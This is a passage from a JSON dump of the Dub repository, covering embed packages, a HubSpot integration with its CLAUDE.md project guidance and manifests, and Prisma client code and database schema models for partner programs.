    "content": "export type DubInitResult = {\n  destroy: () => void;\n} | null;\n\nexport interface DubEmbed {\n  init: (options: DubEmbedOptions) => void;\n}\n\nexport type DubEmbedOptions = {\n  // The link token\n  token: string;\n\n  // The root element for the embed\n  root?: HTMLElement;\n\n  // An error occurred in the APIs\n  onError?: (error: Error) => void;\n\n  // The styles for the embed container\n  containerStyles?: Partial<CSSStyleDeclaration>;\n\n  // The data type for the embed\n  data?: \"referrals\" | \"analytics\";\n\n  // The theme for the embed (light by default)\n  theme?: \"light\" | \"dark\" | \"system\";\n\n  // Additional theme options\n  themeOptions?: {\n    // The background color for the embed\n    backgroundColor?: string;\n  };\n};\n\nexport type IframeMessage = {\n  originator?: \"Dub\";\n} & (\n  | {\n      event?: \"ERROR\";\n      data?: {\n        code: string;\n        message: string;\n      };\n    }\n  | {\n      event?: \"PAGE_HEIGHT\";\n      data: {\n        height: number;\n      };\n    }\n);\n"
  },
  {
    "path": "packages/embeds/core/tsconfig.json",
    "content": "{\n  \"extends\": \"tsconfig/react-library.json\",\n  \"include\": [\n    \".\"\n  ],\n  \"exclude\": [\n    \"dist\",\n    \"build\",\n    \"node_modules\"\n  ],\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noImplicitThis\": true,\n    \"strictNullChecks\": true,\n    \"esModuleInterop\": true\n  }\n}"
  },
  {
    "path": "packages/embeds/core/tsup.config.ts",
    "content": "import { defineConfig } from \"tsup\";\n\nexport default defineConfig({\n  entry: {\n    \"embed/script\": \"src/embed.ts\", // Standalone entry for embed.ts\n    index: \"src/index.ts\", // Entry for all other files via index.ts\n  },\n  format: [\"cjs\"],\n  esbuildOptions(options) {\n    options.banner = {\n      js: '\"use client\"',\n    };\n  },\n  dts: true,\n  minify: true,\n  clean: true,\n  splitting: false,\n});\n"
  },
  {
    "path": "packages/embeds/react/README.md",
    "content": "# `@dub/embed-react`\n\n`@dub/embed-react` is a library of React components that are used embed Dub's referral dashboard on third-party websites.\n\n## Installation\n\nTo install the package, run:\n\n```bash\npnpm i @dub/embed-react\n```\n"
  },
  {
    "path": "packages/embeds/react/package.json",
    "content": "{\n  \"name\": \"@dub/embed-react\",\n  \"description\": \"Embed React components for Dub.\",\n  \"version\": \"0.0.18\",\n  \"sideEffects\": false,\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.mjs\",\n  \"types\": \"./dist/index.d.ts\",\n  \"files\": [\n    \"dist/**\"\n  ],\n  \"scripts\": {\n    \"build\": \"tsup\",\n    \"lint\": \"eslint src/\",\n    \"dev\": \"tsup --watch\",\n    \"check-types\": \"tsc --noEmit\",\n    \"preview\": \"vite --port=3101 --open\",\n    \"prepublishOnly\": \"node ./prepublish.js\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@types/react\": \"19.1.3\",\n    \"@types/react-dom\": \"19.1.3\",\n    \"autoprefixer\": \"^10.4.16\",\n    \"postcss\": \"^8.4.31\",\n    \"react\": \"19.1.3\",\n    \"react-dom\": \"19.1.3\",\n    \"tsconfig\": \"workspace:*\",\n    \"tsup\": \"^6.1.3\",\n    \"typescript\": \"^5.1.6\",\n    \"vite\": \"5.2.9\"\n  },\n  \"dependencies\": {\n    \"@dub/embed-core\": \"^0.0.18\",\n    \"class-variance-authority\": \"^0.7.0\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"ui\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}"
  },
  {
    "path": "packages/embeds/react/postcss.config.js",
    "content": "// If you want to use other PostCSS plugins, see the following:\n// https://tailwindcss.com/docs/using-with-preprocessors\n\nmodule.exports = {\n  plugins: {\n    tailwindcss: {},\n    autoprefixer: {},\n  },\n};\n"
  },
  {
    "path": "packages/embeds/react/prepublish.js",
    "content": "const fs = require(\"fs\");\nconst path = require(\"path\");\n\nconst pkgPath = path.resolve(__dirname, \"package.json\");\nconst pkg = JSON.parse(fs.readFileSync(pkgPath, \"utf-8\"));\n\nconst packageDirMap = {\n  \"@dub/embed-core\": \"../core\",\n};\n\nconst depType = \"dependencies\";\n\nif (pkg[depType]) {\n  for (const dep in pkg[depType]) {\n    if (pkg[depType][dep] === \"workspace:*\") {\n      // Resolve the local package's path\n      const depPath =\n        packageDirMap[dep] || path.join(\"..\", dep.replace(\"@dub/\", \"\"));\n      const depPkgPath = path.resolve(__dirname, depPath, \"package.json\");\n\n      try {\n        const depPkg = JSON.parse(fs.readFileSync(depPkgPath, \"utf-8\"));\n        const version = `^${depPkg.version}`;\n        pkg[depType][dep] = version;\n      } catch (e) {\n        process.exit(1);\n      }\n    }\n  }\n}\n\n// Write the updated package.json\nfs.writeFileSync(pkgPath, JSON.stringify(pkg, null, 2));\n\nconsole.log(\"✅ Dependencies patched for publish.\");\n"
  },
  {
    "path": "packages/embeds/react/src/embed.tsx",
    "content": "\"use client\";\n\nimport { DubEmbedOptions, init } from \"@dub/embed-core\";\nimport { HTMLProps, memo, useEffect, useId, useRef } from \"react\";\n\ntype Options = Omit<DubEmbedOptions, \"token\">;\n\ntype DubEmbedProps = {\n  token: DubEmbedOptions[\"token\"];\n  data: DubEmbedOptions[\"data\"];\n  options?: Options;\n} & HTMLProps<HTMLDivElement>;\n\nexport const DubEmbed = memo(\n  ({ token, data, options, ...rest }: DubEmbedProps) => (\n    <DubEmbedInner options={{ ...options, token, data }} {...rest} />\n  ),\n);\n\nfunction DubEmbedInner({\n  options,\n  ...rest\n}: { options: DubEmbedOptions } & HTMLProps<HTMLDivElement>) {\n  const id = useId();\n  const rootRef = useRef<HTMLDivElement>(null);\n\n  useEffect(() => {\n    if (!rootRef.current) return;\n\n    const { destroy } =\n      init({\n        root: rootRef.current,\n        ...options,\n      }) || {};\n\n    return () => destroy?.();\n  }, [id, JSON.stringify(options)]);\n\n  return <div {...rest} ref={rootRef} />;\n}\n"
  },
  {
    "path": "packages/embeds/react/src/example/app.tsx",
    "content": "import { useCallback, useEffect, useState } from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport { DubEmbed } from \"../embed\";\n\nconst Embed = () => {\n  const [token, setToken] = useState(\"\");\n\n  const createToken = useCallback(async () => {\n    const res = await fetch(\"/api/create-token\");\n    const data = await res.json();\n    setToken(data.token);\n  }, []);\n\n  useEffect(() => {\n    createToken();\n  }, []);\n\n  return <DubEmbed data=\"referrals\" token={token} />;\n};\n\nconst root = createRoot(document.getElementById(\"root\"));\nroot.render(<Embed />);\n"
  },
  {
    "path": "packages/embeds/react/src/index.ts",
    "content": "export * from \"./embed\";\n"
  },
  {
    "path": "packages/embeds/react/tailwind.config.ts",
    "content": "// tailwind config is required for editor support\nimport sharedConfig from \"@dub/tailwind-config/tailwind.config.ts\";\nimport type { Config } from \"tailwindcss\";\n\nconst config: Pick<Config, \"presets\"> = {\n  presets: [sharedConfig],\n};\n\nexport default config;\n"
  },
  {
    "path": "packages/embeds/react/tsconfig.json",
    "content": "{\n  \"extends\": \"tsconfig/react-library.json\",\n  \"include\": [\".\"],\n  \"exclude\": [\"dist\", \"build\", \"node_modules\"]\n}\n"
  },
  {
    "path": "packages/embeds/react/tsup.config.ts",
    "content": "import { defineConfig } from \"tsup\";\n\nexport default defineConfig({\n  entry: [\"src/index.ts\"],\n  format: [\"esm\", \"cjs\"],\n  esbuildOptions(options) {\n    options.banner = {\n      js: '\"use client\"',\n    };\n  },\n  outExtension({ format }) {\n    return {\n      js: format === \"esm\" ? \".mjs\" : \".js\",\n    };\n  },\n  dts: true,\n  minify: true,\n  external: [\"react\"],\n  noExternal: [\"@dub/embed-core\"],\n  clean: true,\n  splitting: false,\n});\n"
  },
  {
    "path": "packages/hubspot-app/CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working on HubSpot components\n\nIMPORTANT: IF THE 'HubSpot' MCP SERVER IS INSTALLED USE THE TOOLS BEFORE TRYING TO MANUALLY USE CLI COMMANDS OR BEFORE TRYING TO DO ANYTHING WITH HUBSPOT ASSETS\n\n## HubSpot Project Information\n\n- The project configuration is in the `hsproject.json` file\n- A directory is considered a part of the project it or a directory above it contains a `hsproject.json` file\n- The project src directory is defined in the `srcDir` field in the `hsproject.json`\n- The project's platform version is defined in `platformVersion` in the `hs project.json`\n- The `platformVersion` determines what features the project has access to as well as the shape of the configuration files\n\n## npm packages\n\n### `@hubspot/ui-extensions`\n\n- In the `@hubspot/ui-extensions` npm package, only the component properties defined by the component are valid. `style` properties are not valid\n\n## Component Information\n\n### General\n\n- Component configuration files must end with `-hsmeta.json`\n- The `uid` field in the `-hsmeta.json` files must be unique with the project\n- The `type` field in the `-hsmeta.json` files defines the type of the component\n- Components can not be in nested subdirectories, only the specified directories in their corresponding component rules.\n- Example components can be found in https://github.com/HubSpot/hubspot-project-components. The directories are split up by platform version and follow this format `${platformVersion}/components`\n- All component subdirectories must be in the project source directory\n\n### app component\n\n- There can only be one `app` component\n- `app` component must be in the `app` directory\n- If the `config.distribution` field is set to `marketplace`, the only valid `config.auth.type` value is `oauth`\n\n### card\n\n- `card` components must be in the `app/cards` directory\n- The global `window` object is not available in the `card` component\n- Cannot use `window.fetch`, and instead must use the `hubspot.fetch` function provided by the `@hubspot/ui-extensions` npm package. Any urls called with the `hubspot.fetch` function must be added to the `config.permittedUrls.fetch` array in the `app` component's hsmeta.json file\n- Only components exported from the `@hubspot/ui-extensions` npm package can be used in `card` components\n\n### app-event\n\n- `app-event` components must be in the `app/app-events` directory\n-\n\n### app-object\n\n- `app-object` components must be in the `app/app-object` directory\n\n### app-function\n\n- `app-function` components must be in the `app/functions` directory\n- `app-function` components are not available when `config.distribution` is set to `marketplace` in the `app` component `-hsmeta.son` file\n\n# settings\n\n- There can only be one `settings` component\n- `settings` components must be in the `app/settings` directory\n- The global `window` object is not available in the `settings` component\n- Cannot use `window.fetch`, and instead must use the `hubspot.fetch` function provided by the `@hubspot/ui-extensions` npm package. Any urls called with the `hubspot.fetch` function must be added to the `config.permittedUrls.fetch` array in the `app` component's hsmeta.json file\n- Only components exported from the `@hubspot/ui-extensions` npm package can be used in `settings` components\n- React Components from `@hubspot/ui-extensions/crm` cannot be used in `settings` components\n\n# scim\n\n- There can only be one `scim` component\n- `scim` components must be in the `app/scim` directory\n\n# webhooks\n\n- There can only be one `webhooks` component.\n- `webhooks` components must be in the `app/webhooks` directory\n- `webhooks` components can only be in projects where `config.distribution` is private and `config.auth.type` is `static`\n\n### workflow-actions\n\n- `workflow-action` components must be in the `app/workflow-actions` directory\n\n## HubSpot CLI commands\n\n- All the commands and subcommands have a `--help` argument that provides details on the command and it's arguments\n- The help output is standard yargs output\n- The commands for working with projects in HubSpot are subcommands of `hs project`\n- Debugging flag that can be added to `hs` commands and subcommands: `--debug`\n- Debugging problems with CLI installation: `hs doctor`\n- `hs project open` will open the current project page in the browser\n- `hs init` is required to set up the hubspot configuration file\n- `hs auth` will authenticate a new account. This will require a user to open a browser and paste a token in a CLI prompt.\n- All the commands for managing HubSpot accounts in the CLI are subcommands of `hs account`\n\n## General\n\n- Follow existing patterns in the codebase\n- Use proper component structure based on component `type` in the `-hsmeta.json` file\n- Ensure configuration files follow HubSpot naming conventions\n- Always validate that components are placed in correct directories\n"
  },
  {
    "path": "packages/hubspot-app/README.md",
    "content": "# Dub HubSpot App\n\nThis package contains the HubSpot app integration for Dub.\n\n## Development\n\n```bash\n# Install dependencies\npnpm install\n\n# Upload the project to HubSpot account\npnpm hs project upload --account=<account-id>\n\n# Set up a test environment and start local development\npnpm hs project dev\n\n# Install all project dependencies\npnpm hs project install-deps\n\n# Add new feature to app\npnpm hs project add\n\n# List all accounts connected\npnpm hs account list\n```\n"
  },
  {
    "path": "packages/hubspot-app/hsproject.json",
    "content": "{\n  \"name\": \"Dub\",\n  \"srcDir\": \"src\",\n  \"platformVersion\": \"2025.2\"\n}\n"
  },
  {
    "path": "packages/hubspot-app/package.json",
    "content": "{\n  \"name\": \"dub-hubspot-app\",\n  \"version\": \"0.0.1\",\n  \"description\": \"HubSpot app for Dub\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"hs\": \"hs\"\n  },\n  \"dependencies\": {\n    \"@hubspot/cli\": \"^7.6.2\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"18.11.9\",\n    \"rimraf\": \"^5.0.10\",\n    \"tsup\": \"^6.7.0\",\n    \"typescript\": \"^5.6.2\"\n  },\n  \"engines\": {\n    \"node\": \">=14\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "packages/hubspot-app/src/app/app-hsmeta.json",
    "content": "{\n  \"uid\": \"dub\",\n  \"type\": \"app\",\n  \"config\": {\n    \"description\": \"Track Hubspot leads/deal changes and auto-generate partner commissions on Dub – the modern affiliate platform & partner network built for SaaS.\",\n    \"name\": \"Dub Partners\",\n    \"distribution\": \"marketplace\",\n    \"auth\": {\n      \"type\": \"oauth\",\n      \"redirectUrls\": [\n        \"https://app.dub.co/api/hubspot/callback\",\n        \"https://preview.dub.co/api/hubspot/callback\"\n      ],\n      \"requiredScopes\": [\n        \"oauth\",\n        \"crm.objects.contacts.read\",\n        \"crm.objects.contacts.write\",\n        \"crm.objects.deals.read\",\n        \"crm.schemas.contacts.write\"\n      ],\n      \"optionalScopes\": [],\n      \"conditionallyRequiredScopes\": []\n    },\n    \"permittedUrls\": {\n      \"fetch\": [\"https://api.hubapi.com\"],\n      \"iframe\": [],\n      \"img\": []\n    },\n    \"support\": {\n      \"supportEmail\": \"support@dub.co\",\n      \"documentationUrl\": \"https://dub.co/docs/conversions/hubspot\",\n      \"supportUrl\": \"https://dub.co/contact\"\n    }\n  }\n}\n"
  },
  {
    "path": "packages/hubspot-app/src/app/webhooks/webhooks-hsmeta.json",
    "content": "{\n  \"uid\": \"dub-webhooks\",\n  \"type\": \"webhooks\",\n  \"config\": {\n    \"settings\": {\n      \"targetUrl\": \"https://app.dub.co/api/hubspot/webhook\",\n      \"maxConcurrentRequests\": 10\n    },\n    \"subscriptions\": {\n      \"crmObjects\": [\n        {\n          \"subscriptionType\": \"object.creation\",\n          \"objectType\": \"contact\",\n          \"active\": true\n        },\n        {\n          \"subscriptionType\": \"object.creation\",\n          \"objectType\": \"deal\",\n          \"active\": true\n        },\n        {\n          \"subscriptionType\": \"object.propertyChange\",\n          \"propertyName\": \"dealstage\",\n          \"objectType\": \"deal\",\n          \"active\": true\n        },\n        {\n          \"subscriptionType\": \"object.propertyChange\",\n          \"propertyName\": \"lifecyclestage\",\n          \"objectType\": \"contact\",\n          \"active\": true\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "packages/prisma/client.ts",
    "content": "export * from \"@prisma/client\";\n\nexport {\n  BountyPerformanceScope,\n  BountySubmissionFrequency,\n  BountySubmissionRejectionReason,\n  BountySubmissionStatus,\n  BountyType,\n  CampaignStatus,\n  CampaignType,\n  CommissionStatus,\n  CommissionType,\n  EmailDomainStatus,\n  EventType,\n  FolderType,\n  FolderUserRole,\n  FraudEventStatus,\n  FraudRuleType,\n  IndustryInterest,\n  InvoiceStatus,\n  MessageType,\n  MonthlyTraffic,\n  NotificationEmailType,\n  PartnerBannedReason,\n  PartnerLinkStructure,\n  PartnerProfileType,\n  PartnerRole,\n  PayoutMode,\n  PayoutStatus,\n  PlatformType,\n  PreferredEarningStructure,\n  Prisma,\n  ProgramEnrollmentStatus,\n  ProgramPayoutMode,\n  RewardStructure,\n  SalesChannel,\n  WebhookReceiver,\n  WorkflowTrigger,\n  WorkspaceRole,\n} from \"@prisma/client\";\n"
  },
  {
    "path": "packages/prisma/edge.ts",
    "content": "import { Client } from \"@planetscale/database\";\nimport { PrismaPlanetScale } from \"@prisma/adapter-planetscale\";\nimport { PrismaClient } from \"@prisma/client\";\n\nconst client = new Client({\n  url: process.env.PLANETSCALE_DATABASE_URL || process.env.DATABASE_URL,\n});\n\nconst adapter = new PrismaPlanetScale(client);\n\nexport const prismaEdge = new PrismaClient({\n  adapter,\n});\n"
  },
  {
    "path": "packages/prisma/index.ts",
    "content": "import { PrismaClient } from \"@prisma/client\";\n\nconst prismaClientSingleton = () =>\n  new PrismaClient({\n    omit: {\n      user: { passwordHash: true },\n    },\n  });\n\ntype OmittedPrismaClient = ReturnType<typeof prismaClientSingleton>;\n\ndeclare global {\n  var prisma: OmittedPrismaClient | undefined;\n}\n\nexport const prisma = global.prisma ?? prismaClientSingleton();\n\nif (process.env.NODE_ENV !== \"production\") {\n  global.prisma = prisma;\n}\n\nexport const sanitizeFullTextSearch = (search: string) => {\n  // remove unsupported characters for full text search\n  return search.replace(/[*+\\-()~@%<>!=?:]/g, \"\").trim();\n};\n"
  },
  {
    "path": "packages/prisma/package.json",
    "content": "{\n  \"name\": \"@dub/prisma\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"main\": \"./index.ts\",\n  \"module\": \"./index.ts\",\n  \"types\": \"./index.ts\",\n  \"scripts\": {\n    \"generate\": \"npx prisma generate --schema=./schema\",\n    \"push\": \"npx prisma db push --schema=./schema\",\n    \"studio\": \"npx prisma studio --schema=./schema --browser none\",\n    \"prebuild\": \"pnpm run generate\",\n    \"predev\": \"pnpm run generate\",\n    \"format\": \"npx prisma format --schema=./schema\"\n  },\n  \"dependencies\": {\n    \"@planetscale/database\": \"1.19.0\",\n    \"@prisma/adapter-planetscale\": \"6.19.1\",\n    \"@prisma/client\": \"6.19.1\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"18.11.9\",\n    \"prisma\": \"6.19.1\",\n    \"tsx\": \"^4.11.0\",\n    \"typescript\": \"5.2.2\"\n  },\n  \"exports\": {\n    \".\": \"./index.ts\",\n    \"./edge\": \"./edge.ts\",\n    \"./client\": \"./client.ts\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"prisma\",\n    \"planetscale\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/prisma/schema/activity.prisma",
    "content": "model ActivityLog {\n  id                 String   @id @default(cuid())\n  workspaceId        String\n  programId          String\n  parentResourceType String?\n  parentResourceId   String?\n  resourceType       String\n  resourceId         String\n  userId             String?\n  action             String\n  description        String?  @db.Text\n  batchId            String?\n  changeSet          Json?\n  createdAt          DateTime @default(now())\n\n  user User? @relation(fields: [userId], references: [id])\n\n  @@index([resourceType, resourceId])\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/bounty.prisma",
    "content": "enum BountyType {\n  performance\n  submission\n}\n\nenum BountyPerformanceScope {\n  new\n  lifetime\n}\n\nenum BountySubmissionStatus {\n  draft\n  submitted\n  approved\n  rejected\n}\n\nenum BountySubmissionRejectionReason {\n  invalidProof\n  duplicateSubmission\n  outOfTimeWindow\n  didNotMeetCriteria\n  other\n}\n\nenum BountySubmissionFrequency {\n  day\n  week\n  month\n}\n\nmodel Bounty {\n  id                        String                     @id @default(cuid())\n  programId                 String\n  workflowId                String?                    @unique\n  name                      String\n  description               String?                    @db.Text\n  type                      BountyType\n  startsAt                  DateTime\n  endsAt                    DateTime?\n  submissionsOpenAt         DateTime?\n  submissionFrequency       BountySubmissionFrequency?\n  maxSubmissions            Int                        @default(1)\n  rewardAmount              Int?\n  rewardDescription         String?\n  performanceScope          BountyPerformanceScope?\n  submissionRequirements    Json?\n  socialMetricsLastSyncedAt DateTime?\n  archivedAt                DateTime?\n  createdAt                 DateTime                   @default(now())\n  updatedAt                 DateTime                   @updatedAt\n\n  submissions BountySubmission[]\n  groups      BountyGroup[]\n  program     Program             @relation(fields: [programId], references: [id], onDelete: Cascade)\n  workflow    Workflow?           @relation(fields: [workflowId], references: [id], onDelete: Cascade)\n  emails      NotificationEmail[]\n\n  @@index(programId)\n}\n\nmodel BountyGroup {\n  id       String @id @default(cuid())\n  bountyId String\n  groupId  String\n\n  bounty       Bounty       @relation(fields: [bountyId], references: [id], onDelete: Cascade)\n  partnerGroup PartnerGroup @relation(fields: [groupId], references: [id], onDelete: Cascade)\n\n  @@unique([bountyId, groupId])\n  @@index([groupId])\n}\n\nmodel BountySubmission {\n  id                        String                           @id @default(cuid())\n  programId                 String\n  partnerId                 String\n  bountyId                  String\n  performanceCount          BigInt?\n  socialMetricCount         Int?\n  commissionId              String?                          @unique\n  userId                    String?\n  description               String?                          @db.Text\n  status                    BountySubmissionStatus           @default(draft)\n  rejectionReason           BountySubmissionRejectionReason?\n  rejectionNote             String?                          @db.Text\n  files                     Json?\n  urls                      Json?\n  periodNumber              Int                              @default(1)\n  socialMetricsLastSyncedAt DateTime?\n  completedAt               DateTime?\n  reviewedAt                DateTime?\n  createdAt                 DateTime                         @default(now())\n  updatedAt                 DateTime                         @updatedAt\n\n  bounty            Bounty             @relation(fields: [bountyId], references: [id], onDelete: Cascade)\n  partner           Partner            @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  commission        Commission?        @relation(fields: [commissionId], references: [id], onDelete: Cascade)\n  program           Program            @relation(fields: [programId], references: [id], onDelete: Cascade)\n  user              User?              @relation(fields: [userId], references: [id])\n  programEnrollment ProgramEnrollment? @relation(fields: [programId, partnerId], references: [programId, partnerId], onDelete: Cascade)\n\n  @@unique([bountyId, partnerId, periodNumber])\n  @@index([programId, partnerId])\n  @@index(partnerId)\n  @@index(userId)\n  @@index(status)\n}\n"
  },
  {
    "path": "packages/prisma/schema/campaign.prisma",
    "content": "enum CampaignType {\n  marketing\n  transactional\n}\n\nenum CampaignStatus {\n  draft\n\n  // Transactional\n  active\n  paused\n\n  // Marketing\n  scheduled\n  sending\n  sent\n  canceled\n}\n\nmodel Campaign {\n  id              String              @id @default(cuid())\n  programId       String\n  workflowId      String?             @unique\n  userId          String\n  qstashMessageId String?             @unique\n  type            CampaignType\n  status          CampaignStatus      @default(draft)\n  name            String\n  subject         String\n  preview         String?             @db.Text\n  from            String?\n  bodyJson        Json                @db.Json\n  scheduledAt     DateTime?\n  createdAt       DateTime            @default(now())\n  updatedAt       DateTime            @updatedAt\n  program         Program             @relation(fields: [programId], references: [id])\n  workflow        Workflow?           @relation(fields: [workflowId], references: [id], onDelete: Cascade)\n  groups          CampaignGroup[]\n  emails          NotificationEmail[]\n\n  @@index(programId)\n}\n\nmodel CampaignGroup {\n  id         String @id @default(cuid())\n  campaignId String\n  groupId    String\n\n  campaign     Campaign     @relation(fields: [campaignId], references: [id], onDelete: Cascade)\n  partnerGroup PartnerGroup @relation(fields: [groupId], references: [id], onDelete: Cascade)\n\n  @@unique([campaignId, groupId])\n  @@index(groupId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/comment.prisma",
    "content": "model PartnerComment {\n  id        String   @id @default(cuid())\n  programId String\n  partnerId String\n  userId    String\n  text      String   @db.Text\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  program Program @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  user    User    @relation(fields: [userId], references: [id], onDelete: Cascade)\n\n  @@index([programId, partnerId])\n  @@index(partnerId)\n  @@index(createdAt)\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/commission.prisma",
    "content": "enum CommissionStatus {\n  pending\n  processed\n  paid\n  refunded\n  duplicate\n  fraud\n  canceled\n}\n\nenum CommissionType {\n  click\n  lead\n  sale\n  custom\n}\n\nmodel Commission {\n  id          String           @id @default(cuid())\n  programId   String\n  partnerId   String\n  rewardId    String?\n  linkId      String?\n  payoutId    String?\n  invoiceId   String? // only for sales (idempotency key, each sale event is associated with a unique invoice)\n  customerId  String? // only for leads and sales\n  eventId     String?          @unique // only for leads and sales\n  description String?\n  type        CommissionType\n  amount      Int // only for sales (amount of the sale event)\n  quantity    Int // only for clicks/leads (quantity of the event)\n  earnings    Int              @default(0) // amount earned by the partner\n  currency    String           @default(\"usd\")\n  status      CommissionStatus @default(pending)\n  userId      String? // user who created the manual commission\n  createdAt   DateTime         @default(now())\n  updatedAt   DateTime         @updatedAt\n\n  program           Program           @relation(fields: [programId], references: [id])\n  partner           Partner           @relation(fields: [partnerId], references: [id])\n  programEnrollment ProgramEnrollment @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  payout            Payout?           @relation(fields: [payoutId], references: [id])\n  link              Link?             @relation(fields: [linkId], references: [id])\n  customer          Customer?         @relation(fields: [customerId], references: [id])\n  reward            Reward?           @relation(fields: [rewardId], references: [id])\n  bountySubmission  BountySubmission?\n  user              User?             @relation(fields: [userId], references: [id])\n\n  @@unique([invoiceId, programId])\n  @@index([earnings, programId, partnerId, status]) // old index\n  @@index([programId, partnerId]) // for programEnrollment relation (used in cron/payouts/aggregate-due-commissions)\n  @@index([programId, status, createdAt, amount, earnings]) // for program/commissions (scoped by programId)\n  @@index([createdAt, status, programId, earnings]) // for admin/commissions\n  @@index([partnerId, customerId])\n  @@index(payoutId)\n  @@index(customerId)\n  @@index(linkId)\n  @@index(status)\n  @@index(rewardId)\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/customer.prisma",
    "content": "model Customer {\n  id               String  @id @default(cuid())\n  name             String?\n  email            String?\n  avatar           String? @db.Text\n  externalId       String?\n  stripeCustomerId String? @unique\n\n  linkId    String?\n  clickId   String?\n  clickedAt DateTime?\n  country   String?\n\n  sales                  Int       @default(0)\n  saleAmount             BigInt    @default(0)\n  firstSaleAt            DateTime?\n  subscriptionCanceledAt DateTime?\n\n  projectId        String\n  projectConnectId String?\n\n  programId String?\n  partnerId String?\n\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  project           Project            @relation(fields: [projectId], references: [id])\n  link              Link?              @relation(fields: [linkId], references: [id])\n  program           Program?           @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partner           Partner?           @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  programEnrollment ProgramEnrollment? @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  commissions       Commission[]\n  fraudEvents       FraudEvent[]\n  referrals         PartnerReferral[]\n\n  @@unique([projectId, externalId])\n  @@unique([projectConnectId, externalId])\n  @@index([projectId, email])\n  @@index([projectId, createdAt])\n  @@index([projectId, saleAmount])\n  @@index([projectId, firstSaleAt])\n  @@index([projectId, subscriptionCanceledAt])\n  @@index([programId, partnerId])\n  @@index(partnerId)\n  @@index(linkId)\n  @@index(country)\n  @@fulltext([email, name]) // For full-text search\n}\n"
  },
  {
    "path": "packages/prisma/schema/dashboard.prisma",
    "content": "model Dashboard {\n  id String @id @default(cuid())\n\n  link   Link?   @relation(fields: [linkId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  linkId String? @unique\n\n  folder   Folder? @relation(fields: [folderId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  folderId String? @unique\n\n  // Project that the share link belongs to\n  project   Project? @relation(fields: [projectId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  projectId String?\n\n  // User who created the shared dashboard\n  user   User?   @relation(fields: [userId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  userId String?\n\n  // additional link configurations\n  doIndex         Boolean @default(false) // whether to index the share link on Google or not\n  password        String? // password to access the share link\n  showConversions Boolean @default(false)\n\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  @@index(projectId)\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/discount.prisma",
    "content": "model Discount {\n  id                     String          @id @default(cuid())\n  programId              String\n  amount                 Int             @default(0)\n  type                   RewardStructure @default(percentage)\n  maxDuration            Int? // in months (0 -> one-time purchase, 1, 3, 6, 12, 18, 24, 36, 48 -> months, null -> lifetime)\n  description            String?\n  couponId               String?\n  couponTestId           String?\n  autoProvisionEnabledAt DateTime? // Auto create discount codes for partners when they join the group\n  createdAt              DateTime        @default(now())\n  updatedAt              DateTime        @updatedAt\n\n  programEnrollments ProgramEnrollment[]\n  program            Program             @relation(\"ProgramDiscounts\", fields: [programId], references: [id])\n  partnerGroup       PartnerGroup?\n  discountCodes      DiscountCode[]\n\n  @@index(programId)\n}\n\nmodel DiscountCode {\n  id         String   @id @default(cuid())\n  code       String\n  programId  String\n  discountId String?\n  partnerId  String\n  linkId     String   @unique\n  createdAt  DateTime @default(now())\n  updatedAt  DateTime @updatedAt\n\n  program           Program            @relation(fields: [programId], references: [id], onDelete: Cascade)\n  discount          Discount?          @relation(fields: [discountId], references: [id], onDelete: SetNull)\n  partner           Partner            @relation(fields: [partnerId], references: [id])\n  link              Link               @relation(fields: [linkId], references: [id])\n  programEnrollment ProgramEnrollment? @relation(fields: [programId, partnerId], references: [programId, partnerId])\n\n  @@unique([programId, code])\n  @@index([programId, partnerId])\n  @@index(discountId)\n  @@index(partnerId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/domain.prisma",
